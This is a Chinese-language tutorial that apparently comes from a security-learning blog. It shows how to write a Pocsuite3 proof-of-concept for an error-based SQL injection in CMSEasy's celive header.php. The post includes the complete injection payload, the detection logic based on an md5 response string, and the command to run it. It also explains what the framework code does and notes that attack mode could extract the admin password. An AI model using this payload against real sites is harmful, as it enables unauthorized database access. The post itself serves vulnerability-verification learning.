poc学习part2

基于Pocsuite框架SQL注入的Poc编写

之前是无框架编写Poc,现在尝试将之前的Poc文件改写成基于Pocsuite框架的Poc

之前代码里我采取使用requests模块来发送http请求,而在Pocsuite中,框架要求使用Pocsuite框架封装好的req,其实他就是python的requests库,具体的用法看requests的官方文档就行

至于为啥不能直接在Poc中直接import requests呢?因为有些时候,我们在批量使用Poc时,有些网站会对爬虫或者类似行为做一点手脚,会对请求报文查看有没有http请求头,比如有一些WAF会检测请求里是否有User-Agent,所以这是其中一个理由,框架集成终归是有好处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pocsuite3.api import Output, POCBase, register_poc, requests, logger, VUL_TYPE, POC_CATEGORY
from pocsuite3.lib.request import requests



class CmsEasyPoc(POCBase):
    '''
    0.编写的文件名应该符合poc命名规范:"组成漏洞应用名_版本号_漏洞类型名称", 其中文件名中所有字母改为小写,所有特殊符号改为下划线
    1.编写DemoPOC类,继承自POCBase类
    2.填写POC信息字段(如下):
    '''
    vulID = '88979' # ssvid ID,如果是提交漏洞同时提交POC,写成0
    version = '1'   # 默认为1
    author = ['Timerain']     # POC作者的名字
    vulDate = '2022-11-29'  # 漏洞公开的时间,不明确时可以写今天(我瞎写的时间)
    createDate = '2022-11-29'
    updateDate = '2022-11-29'
    references = ['xxx.cn']  # 漏洞地址来源,0day可以不写
    name = 'trick or treat'      # POC名称
    appPowerLink = 'http://cmseasy.cn/'   # 漏洞厂商的主页地址
    appName = 'CMSEasy'       # 漏洞应用名称
    appVersion = 'All'      # 漏洞影响版本
    # vulType = VUL_TYPE.OTHER      # 漏洞类型(这里我瞎选的)
    desc = '''
        这里填写漏洞详情
    '''
    samples = ['']  # 漏洞样例,使用poc测试成功的网站
    # PoC 第三方模块依赖说明。PoC 编写的时候要求尽量不要使用第三方模块,如果必要使用,请在 PoC 的基础信息部分,增加 install_requires 字段,按照以下格式:install_requies = [pip时候的模块名, pip时候的模块名]填写依赖的模块名。
    install_requies = []

    def _verify(self):
        '''
            验证模式
        '''
        result = {}
        target = self.url + '/celive/live/header.php'
        Post_Data = {
            'xajax':"LiveMessage",
            'xajaxargs[0][name]':"1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select md5(233)))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"
        }
        #使用requests发送post请求
        response = requests.post(target,data=Post_Data,timeout=10)
        content = response.content
        #这里md5值就是md5('233')的值
        try:
            if response.status_code == 200 and 'e165421110ba03099a1c0393373c5b43' in content:
                result = {'VerifyInfo':{}} #创建自定义的字典信息
                result['VerifyInfo']['URL'] = target
        except Exception as e:
            pass
        return self.parse_result(result)

    def _attack(self):
        '''
        攻击模式
        '''
        return self._verify()

    def parse_result(self,result):
        '''
        检测返回结果数据统一封装到这个方法里进行处理
        '''
        output = Output(self)

        if result:
            output.success(result)
        else:
            output.fail("Internet nothing returned")

        return output

register_poc(CmsEasyPoc)#注册poc类

若是压缩包方式下载的:放到pocsuite下的pocs目录,然后python cli.py xxxxx方式运行
上述代码用Pocsuite3框架执行(pip下载用这种方式)

执行命令:

1
pocsuite -r xxx.py -u http://192.168.0.105:8000  --verify

接下来就是见证自己的Poc运行
接下来解释下代码

第一部分

图片

第二部分

图片

最上面就是引入一些类库,中部是一个Poc的类,继承自PocBase类,类中的俩主要函数为_verify和_attack,这两个分别是verify和attack模式的入口函数,然后还有一个自己定义的函数parse_result,用于统一输出

下面是针对每个具体的部分的说明,具体信息在框架文档里已经详细说明了。

第一部分代码主要是引入pocsuite的类库,要用什么就引入什么,找不到就去目录里找一下

图片

第二部分代码,用于填写一些基础信息,根据漏洞实际情况填写就行,在多个Poc多情况下很有用

图片

接下来就是具体的verify的代码,如果之前无框架版代码看过,框架版的verify并不是问题

唯一不同的是输出并不是print,而是我们将输出的信息保存在一个叫做result的字典里面,然后再调用parse_result将其输出

图片

这里是attack的入口,这个是带有攻击性质的验证模式,也就是说在这个函数里可以放一些带有攻击性质的payload,比如注出管理员密码,相对verify来说就稍微复杂了点,所以我就偷懒没写了,直接返回verify

parse_result这个函数,是自己定义的函数。前两个函数都是入口,也就是框架要调用这两个函数,程序执行进来以后,想怎么调用就怎么调用

最后一定要注意调用register来注册Poc类,这样框架才能知道这个类是Poc类就会去调用它。

图片

总结:

这里主要基于报错的 SQL 注入 PoC 编写,也就是针对有回显的 SQL 注入,我们 PoC 模拟了浏览器提交数据的这一过程,我们判断是否存在漏洞的依据就是看返回页面的内容是否有我们预期的值

 

这里要注意的就是,我们判断的凭据不是说我提交了 abcde 到目标服务器,目标返回一个 abcde 就可以了,而是要证明我们的代码执行了,所以可以提交 ASCII 码到服务器,如果返回了对应的字符,就证明了可以执行。而为了减少误报,本着概率的角度,我们要使用稍微长的一个随机字符串(一定要注意随机,比如一个很长的单词 Christmas 就不行,这种有意义的字符串出现的概率有些大)